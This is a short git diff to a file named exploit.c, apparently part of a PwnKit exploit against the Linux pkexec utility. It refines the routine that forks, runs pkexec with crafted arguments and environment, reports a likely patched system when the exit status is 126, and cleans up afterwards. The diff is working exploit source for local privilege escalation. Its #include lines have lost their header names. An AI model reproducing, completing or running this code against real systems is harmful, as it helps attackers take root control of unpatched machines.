diff --git a/src/exploit.c b/src/exploit.c index fcfffe5..abe0aad 100644 --- a/src/exploit.c +++ b/src/exploit.c @@ -1,3 +1,4 @@ +#include #include #include #include @@ -56,9 +57,18 @@ void clean() { void runAndClean(const char *env[], const char *arg[]) { int pid = fork(); - if (pid == 0) execve("/usr/bin/pkexec", arg, env); + if (pid == 0) { + int res = execve("/usr/bin/pkexec", arg, env); + /*if (res == -1) { + print("[Pwnkit] Failed to execute pkexec, or it returned an error; your system is most likely patched!"); + }*/ + } else { - waitpid(pid, NULL, 0); + int status; + waitpid(pid, &status, 0); + if (WEXITSTATUS(status) == 126) { + print("[Pwnkit] Failed to execute pkexec, or it returned an error; your system is most likely patched!"); + } print("[Pwnkit] Cleaning up.."); clean(); }